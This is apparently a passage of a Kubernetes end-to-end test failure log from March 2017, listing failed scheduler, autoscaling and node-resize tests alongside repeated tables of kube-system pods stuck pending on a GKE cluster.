00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } \ l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } \ \ ,     }     5 / 12 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                   node                                         phase   grace conditions     kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  }      kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  }      l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:96     issues about this test specifically:  28091  38346   failed:  k8s.io  schedulerpredicates  serial  validates that interpodaffinity is respected if matching {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc4213e03d0>: {         s: \ 5 / 12 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                   node                                         phase   grace conditions\ kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } \ kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } \ l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } \ \ ,     }     5 / 12 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                   node                                         phase   grace conditions     kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  }      kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  }      l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:96     issues about this test specifically:  36914   failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicaset should scale from 1 pod to 3 pods and from 3 to 5 {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:51 mar 22 14:49:15.732: timeout waiting 15m0s for pods size to be 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:344     issues about this test specifically:  27397  27917  31592   failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicationcontroller should scale from 1 pod to 3 pods and from 3 to 5 and verify decision stability {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:62 mar 22 15:30:55.371: timeout waiting 15m0s for pods size to be 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:344     issues about this test specifically:  27479  27675  28097  32950  34301  37082   failed:  k8s.io  schedulerpredicates  serial  validates that a pod with an invalid podaffinity is rejected because of the labelselectorrequirement is invalid {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc420e43eb0>: {         s: \ 5 / 12 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                   node                                         phase   grace conditions\ kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } \ kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } \ l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } \ \ ,     }     5 / 12 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                   node                                         phase   grace conditions     kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  }      kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  }      l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:96     issues about this test specifically:  35279   failed:  k8s.io  namespaces  serial  should ensure that all pods are removed when a namespace is deleted. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/namespace.go:217 test panicked /usr/local/go/src/runtime/asm_amd64.s:479       failed:  k8s.io  schedulerpredicates  serial  validates resource limits of pods that are allowed to run  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc420ba9a00>: {         s: \ 5 / 12 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                   node                                         phase   grace conditions\ kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } \ kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } \ l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } \ \ ,     }     5 / 12 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                   node                                         phase   grace conditions     kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  }      kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  }      l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:96     issues about this test specifically:  27115  28070  30747  31341  35513  37187  38340   failed:  k8s.io  schedulerpredicates  serial  validates that embedding the json podaffinity and podantiaffinity setting as a string in the annotation value work {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103 expected error:     < errors.errorstring | 0xc4226cb070>: {         s: \ 5 / 12 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                   node                                         phase   grace conditions\ kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } \ kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } \ l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } \ \ ,     }     5 / 12 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                   node                                         phase   grace conditions     kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  }      kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  }      l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  }       not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:96       failed: test {e2e.go}      error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ serial\\ |\\ disruptive\\  --ginkgo.skip=\\ flaky\\ |\\ feature:.+\\ : exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025   failed:  k8s.io  nodes  disruptive   k8s.io  resize  slow  should be able to delete nodes {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resize_nodes.go:244 expected error:     < errors.errorstring | 0xc42170b6b0>: {         s: \ 6 / 12 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                   node                                         phase   grace conditions\ heapster-v1.3.0-1288166888-knf0f      gke-bootstrap-e2e-default-pool-7d442a9d-9tv7 pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt containersnotready containers with unready status:  heapster heapster-nanny } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt  } \ kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } \ kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kube-dns-autoscaler-2528518105-9mt6k  gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } \ kubernetes-dashboard-2917854236-5lt62 gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubernetes-dashboard } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:24 -0700 pdt  } \ l7-default-backend-1044750973-2gn5v   gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  default-http-backend } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:22 -0700 pdt  } \ \ ,     }     6 / 12 pods in namespace \ kube-system\  are not in running and ready state in 5m0s     pod                                   node                                         phase   grace conditions     heapster-v1.3.0-1288166888-knf0f      gke-bootstrap-e2e-default-pool-7d442a9d-9tv7 pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt containersnotready containers with unready status:  heapster heapster-nanny } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 17:58:50 -0700 pdt  }      kube-dns-806549836-5crmf              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:18 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:36 -0700 pdt  }      kube-dns-806549836-qx5fw              gke-bootstrap-e2e-default-pool-7d442a9d-qx8w pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:14:19 -0700 pdt containersnotready containers with unready status:  kubedns dnsmasq sidecar } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-03-22 14:13:27 -0700 pdt  }      kube-dns-autoscaler-2528518105-9mt6k  